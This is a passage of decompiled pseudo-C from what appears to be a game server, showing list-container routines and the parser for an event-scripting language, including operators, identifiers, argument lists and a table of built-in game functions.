int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { memcpy((void *)(v3 + 12), &ele->b_BlockName.bn_Name.i_Identify, 0x10Cu); result = 1; } else { result = 0; } return result; } //----- (004A0AE0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, PineEventScriptNode::Block *ele) { List *v2; // edx@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bp@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; memcpy(&ele->b_BlockName.bn_Name.i_Identify, (const void *)(*(_DWORD *)v6 + 12), 0x10Cu); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004A0B60) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Block *ele) { List *v2; // edx@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bp@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; memcpy(&ele->b_BlockName.bn_Name.i_Identify, (const void *)(*(_DWORD *)v6 + 12), 0x10Cu); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004A0BE0) -------------------------------------------------------- unsigned int __cdecl std::num_put>>::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::locale::facet *v2; // eax@4 if ( _Ppf && !*_Ppf ) { v1 = operator new(0x10u); if ( v1 ) std::num_put>>::num_put>>( (std::num_put > > *)v1, 0); else v2 = 0; *_Ppf = v2; } return 4; } //----- (004A0C50) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004A0CA0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004A0CF0) -------------------------------------------------------- PineScriptTracer::ScriptTracer *__thiscall PineScriptTracer::ScriptTracer::operator<<(PineScriptTracer::ScriptTracer *this, PineEventScriptNode::Identify *id) { PineScriptTracer::ScriptTracer *v2; // esi@1 PineScriptStack::ProcessStack *v3; // ST04_4@1 PineScriptToken tkn; // [sp+4h] [bp-104h]@1 v2 = this; v3 = this->st_ProcessStack; tkn.pst_Buffer[0] = 0; PineEventScriptNode::Identify::i_GetToken(id, &tkn, v3); return v2; } //----- (004A0D40) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Equal(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // ebp@1 unsigned __int16 result; // ax@4 unsigned int v4; // eax@5 void *v5; // edi@5 char v6; // cl@6 int second; // [sp+4h] [bp-108h]@2 PineScriptToken tkn; // [sp+8h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && ((second = (unsigned __int8)tkn.pst_Buffer[0], tkn.pst_Buffer[0] == 61) || tkn.pst_Buffer[0] == 33) ) { v4 = strlen(tkn.pst_Buffer) + 1; v5 = (char *)&v2->baseclass_0.vfptr + 3; do { v6 = *((_BYTE *)v5 + 1); v5 = (char *)v5 + 1; } while ( v6 ); memcpy(v5, &tkn, v4); if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( tkn.pst_Buffer[0] == 61 ) { PineScriptToken::pst_Merge(&v2->co_Oper, &tkn); v2->co_OperType = (second != 61) + 7; result = 1; } else { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v2->co_OperType = 1; result = second == 61; } } else { result = 0; } } else { result = 0; } return result; } //----- (004A0E60) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Excremation(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // ebx@1 unsigned __int16 result; // ax@3 unsigned int v4; // eax@4 void *v5; // edi@4 char v6; // cl@5 PineScriptToken tkn; // [sp+4h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) && tkn.pst_Buffer[0] == 61 ) { v4 = strlen(tkn.pst_Buffer) + 1; v5 = (char *)&v2->baseclass_0.vfptr + 3; do { v6 = *((_BYTE *)v5 + 1); v5 = (char *)v5 + 1; } while ( v6 ); memcpy(v5, &tkn, v4); v2->co_OperType = 2; result = 1; } else { result = 0; } return result; } //----- (004A0F10) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_NotEqual(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // esi@1 unsigned __int16 result; // ax@2 unsigned int v4; // eax@5 void *v5; // ecx@5 char v6; // dl@6 PineScriptToken tkn; // [sp+8h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { if ( tkn.pst_Buffer[0] == 61 ) { v2->co_OperType = (v2->co_Oper.pst_Buffer[0] == 62) + 5; v4 = strlen(tkn.pst_Buffer) + 1; v5 = (char *)&v2->baseclass_0.vfptr + 3; do { v6 = *((_BYTE *)v5 + 1); v5 = (char *)v5 + 1; } while ( v6 ); memcpy(v5, &tkn, v4); } else { v2->co_OperType = (v2->co_Oper.pst_Buffer[0] == 62) + 3; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); } result = 1; } else { result = 0; } return result; } //----- (004A0FF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Identify::_Identify(PineEventScriptNode::Identify *this) { PineEventScriptNode::Identify *v1; // esi@1 PineEventScriptNode::Id *v2; // eax@1 void *v3; // edi@3 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; v2 = this->i_Id; if ( v2 ) { v2->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v2); } v3 = v1->i_Exp; if ( v3 ) { PineEventScriptNode::Express::_Express(v1->i_Exp); operator delete(v3); } v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5BD7F4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); //----- (004A1060) -------------------------------------------------------- void __thiscall PineEventScriptNode::Block::_Block(PineEventScriptNode::Block *this) { PineEventScriptNode::Block *v1; // esi@1 List *v2; // edi@1 void *v3; // eax@2 void *v4; // edi@5 void *v5; // eax@6 void *v6; // ebx@7 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Block::_vftable_; v2 = this->b_StatementList; if ( v2 ) { v3 = v2->l_Array; v2->vfptr = (ListVtbl *)List::_vftable_; if ( v3 ) operator delete__(v3); operator delete(v2); } v4 = v1->b_StatementArray; if ( v4 ) { v5 = *(void **)v4; if ( *(_DWORD *)v4 ) { v6 = (char *)v5 - 4; _eh_vector_destructor_iterator_( v5, 8u, *((_DWORD *)v5 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); operator delete__(v6); } operator delete(v4); } v1->b_BlockName.bn_Name.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; v1->b_BlockName.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5BD908: using guessed type int (__stdcall *List_PineEventScriptNode__Statement____vftable_[3])(__int16 hnd); // 5BDB10: using guessed type int (__stdcall *PineEventScriptNode__Block___vftable_)(int tr); //----- (004A1110) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateVarDeclear::StateVarDeclear(PineEventScriptNode::StateVarDeclear *this) { PineEventScriptNode::StateVarDeclear *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateVarDeclear::_vftable_; _eh_vector_constructor_iterator_( this->svd_VarName, 0xCu, 64, (void (__thiscall *)(void *))PineEventScriptNode::Identify::Identify, (void (__thiscall *)(void *))PineEventScriptNode::Identify::_Identify); _eh_vector_constructor_iterator_( v1->svd_Express, 0x11Cu, 64, (void (__thiscall *)(void *))PineEventScriptNode::Express::Express, (void (__thiscall *)(void *))PineEventScriptNode::Express::_Express); } // 5BDB24: using guessed type int (__stdcall *PineEventScriptNode__StateVarDeclear___vftable_)(int tr); //----- (004A1190) -------------------------------------------------------- void __thiscall PineEventScriptNode::OtherStatement::OtherStatement(PineEventScriptNode::OtherStatement *this, char *command, unsigned __int16 idread, int expressnummin, int expressnummax) { PineEventScriptNode::OtherStatement *v5; // eax@1 char *v6; // ecx@1 char v7; // dl@2 v5 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::OtherStatement::_vftable_; this->os_Ident.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; this->os_Ident.i_Id = 0; this->os_Ident.i_Exp = 0; this->os_ExpressNumMax = expressnummax; this->os_ExpressNumMin = expressnummin; v6 = command; do { v7 = *v6; v6[(char *)v5 - command + 4] = *v6; ++v6; } while ( v7 ); v5->os_Express[0] = 0; v5->os_Express[1] = 0; v5->os_Express[2] = 0; v5->os_Express[3] = 0; v5->os_Express[4] = 0; v5->os_Express[5] = 0; v5->os_Express[6] = 0; v5->os_Express[7] = 0; v5->os_Express[8] = 0; v5->os_Express[9] = 0; v5->os_Express[10] = 0; v5->os_Express[11] = 0; v5->os_Express[12] = 0; v5->os_Express[13] = 0; v5->os_Express[14] = 0; v5->os_Express[15] = 0; v5->os_Express[16] = 0; v5->os_Express[17] = 0; v5->os_Express[18] = 0; v5->os_Express[19] = 0; v5->os_Express[20] = 0; v5->os_Express[21] = 0; v5->os_Express[22] = 0; v5->os_Express[23] = 0; v5->os_Express[24] = 0; v5->os_Express[25] = 0; v5->os_Express[26] = 0; v5->os_Express[27] = 0; v5->os_Express[28] = 0; v5->os_Express[29] = 0; v5->os_Express[30] = 0; v5->os_Express[31] = 0; v5->os_IDRead = idread; } // 5BD7F4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 5BDB88: using guessed type int (__stdcall *PineEventScriptNode__OtherStatement___vftable_)(int tr); //----- (004A1270) -------------------------------------------------------- void __thiscall PineEventScriptNode::OtherStatement::_OtherStatement(PineEventScriptNode::OtherStatement *this) { PineEventScriptNode::OtherStatement *v1; // ebx@1 PineEventScriptNode::Express **v2; // edi@1 signed int v3; // ebp@1 void *v4; // esi@2 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::OtherStatement::_vftable_; v2 = this->os_Express; v3 = 32; do { v4 = *v2; if ( *v2 ) { PineEventScriptNode::Express::_Express(*v2); operator delete(v4); } ++v2; --v3; } while ( v3 ); PineEventScriptNode::Identify::_Identify(&v1->os_Ident); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5BDB88: using guessed type int (__stdcall *PineEventScriptNode__OtherStatement___vftable_)(int tr); //----- (004A12F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateVarDeclear::sb_CloneMe(PineEventScriptNode::StateVarDeclear *this) { void *v1; // eax@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x4A08u); if ( v1 ) PineEventScriptNode::StateVarDeclear::StateVarDeclear((PineEventScriptNode::StateVarDeclear *)v1); else result = 0; return result; } //----- (004A1350) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePermillage::sb_CloneMe(PineEventScriptNode::StatePermillage *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(0x10u); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StatePermillage::_vftable_; result[1].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; result[2].baseclass_0.vfptr = 0; result[3].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 5BD7F4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 5BDB60: using guessed type int (__stdcall *PineEventScriptNode__StatePermillage___vftable_)(int tr); //----- (004A1380) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateAssignment::sb_CloneMe(PineEventScriptNode::StateAssignment *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(0x12Cu); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateAssignment::_vftable_; result[1].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; result[2].baseclass_0.vfptr = 0; result[3].baseclass_0.vfptr = 0; result[4].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; result[5].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; result[7].baseclass_0.vfptr = 0; result[6].baseclass_0.vfptr = 0; result[8].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; LOBYTE(result[9].baseclass_0.vfptr) = 0; result[73].baseclass_0.vfptr = 0; result[74].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 5BD73C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5BD7F4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5BD978: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 5BDB74: using guessed type int (__stdcall *PineEventScriptNode__StateAssignment___vftable_)(int tr); //----- (004A13E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Block::l_Clone(PineEventScriptNode::Block *this, PineEventScriptNode::Block *blk) { memcpy(&this->b_BlockName.bn_Name.i_Identify, &blk->b_BlockName.bn_Name.i_Identify, 0x10Cu); blk->b_StatementList = 0; blk->b_StatementArray = 0; } //----- (004A1430) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Step(PineEventScriptNode::StateAssignment *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateAssignment *v4; // ebx@1 PineEventScriptNode::Identify *v5; // edi@1 PineScriptToken *v6; // eax@1 unsigned __int16 result; // ax@2 int v8; // eax@4 v4 = this; v5 = &this->sa_LeftValue; scrpttrcr.st_ProcessStack = ps; PineScriptTracer::ScriptTracer::operator<<(&scrpttrcr, &this->sa_LeftValue); v6 = PineEventScriptNode::Identify::i_GetVariable(v5, ps); if ( v6 ) { if ( (int)v4->sa_Express.baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)&v4->sa_Express, v6, ps) && (v8 = ps->ps_StackPoint) != 0 ) { ps->ps_StackPoint = v8 - 1; result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (004A14A0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::sa_Load(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CompareOperator *v2; // esi@1 char *v3; // edi@1 unsigned __int16 result; // ax@3 v2 = this; v3 = (char *)&this->co_Oper; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->co_Oper) ) { switch ( *v3 ) { case 0x3D: result = PineEventScriptNode::CompareOperator::co_Equal(v2, tr); break; case 0x21: result = PineEventScriptNode::CompareOperator::co_Excremation(v2, tr); break; case 0x3C: case 0x3E: result = PineEventScriptNode::CompareOperator::co_NotEqual(v2, tr); break; default: goto LABEL_6; } } else { LABEL_6: result = 0; } return result; } //----- (004A1540) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::CalculateOperator::sa_Load(PineEventScriptNode::CalculateOperator *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::CalculateOperator *v2; // edi@1 const void *v3; // esi@1 unsigned __int16 result; // ax@3 v2 = this; v3 = &this->co_Oper; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->co_Oper) ) { switch ( *(_BYTE *)v3 ) { case 0x2B: v2->co_OperType = 9; result = 1; break; case 0x2D: v2->co_OperType = 10; result = 1; break; case 0x2A: v2->co_OperType = 11; result = 1; break; case 0x2F: v2->co_OperType = 12; result = 1; break; case 0x25: v2->co_OperType = 13; result = 1; break; default: memcpy(&tr->tr_UngetToken, v3, sizeof(tr->tr_UngetToken)); goto LABEL_9; } } else { LABEL_9: result = 0; } return result; } //----- (004A1610) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::String::sa_Load(PineEventScriptNode::String *this, PineScriptReader::TokenReader *tr) { PineScriptToken *v2; // esi@1 v2 = &this->s_String; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->s_String) ) { if ( v2->pst_Buffer[0] == 34 ) return PineScriptToken::pst_RemoveQuatator(v2); memcpy(&tr->tr_UngetToken, v2, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004A1650) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Number::sa_Load(PineEventScriptNode::Number *this, PineScriptReader::TokenReader *tr) { char *v2; // esi@1 signed int v3; // eax@2 char *v4; // ecx@3 v2 = (char *)&this->n_Number; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->n_Number) ) { LOBYTE(v3) = *v2; if ( !*v2 ) return 1; v4 = v2; while ( 1 ) { v3 = (unsigned __int8)v3; if ( (signed int)(unsigned __int8)v3 < 48 ) break; if ( v3 > 57 ) break; LOBYTE(v3) = (v4++)[1]; if ( !(_BYTE)v3 ) return 1; } memcpy(&tr->tr_UngetToken, v2, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004A16A0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Id::sa_Load(PineEventScriptNode::Id *this, PineScriptReader::TokenReader *tr) { char *v2; // esi@1 signed int v3; // eax@2 v2 = (char *)&this->i_Identify; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &this->i_Identify) ) { v3 = (unsigned __int8)*v2; if ( v3 >= 65 && v3 <= 90 || v3 >= 97 && v3 <= 122 || v3 == 95 ) return 1; memcpy(&tr->tr_UngetToken, v2, sizeof(tr->tr_UngetToken)); } return 0; } //----- (004A16F0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Identify::sa_Load(PineEventScriptNode::Identify *this, PineScriptReader::TokenReader *tr) { unsigned __int16 result; // ax@2 int v3; // edi@3 PineScriptToken *v4; // esi@3 signed int v5; // ecx@3 bool v6; // zf@3 void *v7; // eax@7 PineEventScriptNode::Identify *v8; // [sp+8h] [bp-108h]@1 PineScriptToken tkn; // [sp+Ch] [bp-104h]@1 v8 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v3 = (int)"#"; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { v7 = operator new(0x11Cu); if ( v7 ) { *(_DWORD *)v7 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v7 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v7 + 3) = 0; *((_DWORD *)v7 + 2) = 0; *((_DWORD *)v7 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v7 + 20) = 0; *((_DWORD *)v7 + 69) = 0; *((_DWORD *)v7 + 70) = 0; v8->i_Exp = (PineEventScriptNode::Express *)v7; } else { v7 = 0; v8->i_Exp = 0; } } else { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v7 = operator new(0x104u); if ( v7 ) { *(_DWORD *)v7 = &PineEventScriptNode::Id::_vftable_; *((_BYTE *)v7 + 4) = 0; } else { v7 = 0; } v8->i_Id = (PineEventScriptNode::Id *)v7; } result = (**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v7)(v7, tr); } else { result = 0; } return result; } // 5BD73C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5BD7E4: using guessed type int (__stdcall *PineEventScriptNode__Id___vftable_)(int tr); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5BD978: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (004A1800) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ArgumentList::sa_Load(PineEventScriptNode::ArgumentList *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::ArgumentList *v2; // ebp@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 int v7; // edi@8 PineScriptToken *v8; // esi@8 signed int v9; // ecx@8 bool v10; // zf@8 void *v11; // eax@12 void *v12; // esi@13 void *v13; // edi@18 unsigned __int16 result; // ax@19 bool v15; // zf@21 int v16; // edi@21 PineScriptToken *v17; // esi@21 signed int v18; // ecx@21 int v19; // [sp+10h] [bp-10Ch]@6 unsigned int i; // [sp+14h] [bp-108h]@6 PineScriptToken tkn; // [sp+18h] [bp-104h]@1 v2 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_30; v3 = (int)"("; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( v6 ) { i = 0; v19 = (int)v2->al_Express; do { if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_18; v7 = (int)")"; v8 = &tkn; v9 = 2; v10 = 1; do { if ( !v9 ) break; v10 = v8->pst_Buffer[0] == *(_BYTE *)v7; v8 = (PineScriptToken *)((char *)v8 + 1); ++v7; --v9; } while ( v10 ); if ( v10 ) return 1; memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v11 = operator new(0x11Cu); if ( v11 ) { *(_DWORD *)v11 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v11 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v11 + 3) = 0; *((_DWORD *)v11 + 2) = 0; *((_DWORD *)v11 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v11 + 20) = 0; *((_DWORD *)v11 + 69) = 0; *((_DWORD *)v11 + 70) = 0; v12 = v11; } else { v12 = 0; } if ( !(unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v12)(v12, tr) ) { *(_DWORD *)v12 = &PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v12); goto LABEL_27; } *(_DWORD *)v19 = v12; ++i; v19 += 4; } while ( i < 0xA ); if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { LABEL_18: v13 = &tr->tr_UngetToken; goto LABEL_26; } v15 = 1; v16 = (int)")"; v17 = &tkn; v18 = 2; do { if ( !v18 ) break; v15 = v17->pst_Buffer[0] == *(_BYTE *)v16; v17 = (PineScriptToken *)((char *)v17 + 1); ++v16; --v18; } while ( v15 ); result = v15; } else { LABEL_30: v13 = &tr->tr_UngetToken; LABEL_26: memcpy(v13, &tkn, 0x100u); LABEL_27: result = 0; } return result; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5BD73C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5BD978: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (004A1990) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::SystemFunction::sa_Load(PineEventScriptNode::SystemFunction *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::SystemFunction *v2; // ebx@1 int v3; // edi@2 PineScriptToken *v4; // esi@2 signed int v5; // ecx@2 bool v6; // zf@2 PineScriptToken _; // [sp+10h] [bp-308h]@9 PineScriptToken tkn; // [sp+110h] [bp-208h]@1 PineScriptToken funcname; // [sp+210h] [bp-108h]@7 v2 = this; tkn.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v3 = (int)"@"; v4 = &tkn; v5 = 2; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 ) { memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); return 0; } funcname.pst_Buffer[0] = 0; if ( PineScriptReader::TokenReader::tr_GetToken(tr, &funcname) ) { if ( (unsigned __int16)v2->sfm_ArgumentList.baseclass_0.vfptr->sa_Load(&v2->sfm_ArgumentList, tr) ) { memcpy(&_, &funcname, sizeof(_)); if ( PineScriptToken::operator__(&_, "SquarRoot") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncsqrt; return 1; } if ( PineScriptToken::operator__(&_, "Distance") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncdistance; return 1; } if ( PineScriptToken::operator__(&_, "Random") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncrand; return 1; } if ( PineScriptToken::operator__(&_, "mobregen") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinemobregen; return 1; } if ( PineScriptToken::operator__(&_, "doorbuild") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinedoorbuild; return 1; } if ( PineScriptToken::operator__(&_, "npcstand") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinenpcstand; return 1; } if ( PineScriptToken::operator__(&_, "change2mob") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinechange2mob; return 1; } if ( PineScriptToken::operator__(&_, "change2door") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinechange2door; return 1; } if ( PineScriptToken::operator__(&_, "change2npc") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinechange2npc; return 1; } if ( PineScriptToken::operator__(&_, "Count") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecount; return 1; } if ( PineScriptToken::operator__(&_, "RestSec") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinerestsec; return 1; } if ( PineScriptToken::operator__(&_, "CharClass") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecharclass; return 1; } if ( PineScriptToken::operator__(&_, "CharName") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecharname; return 1; } if ( PineScriptToken::operator__(&_, "DeathNum") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinedeadnum; return 1; } if ( PineScriptToken::operator__(&_, "CircularScatter") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshinecircularlocate; return 1; } if ( PineScriptToken::operator__(&_, "RemoveFirst") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase *)&sysfuncshineremovefisrt; return 1; } if ( PineScriptToken::operator__(&_, "GetObjectList") ) { v2->sfm_Function = (PineEventScriptNode::SysFuncBase 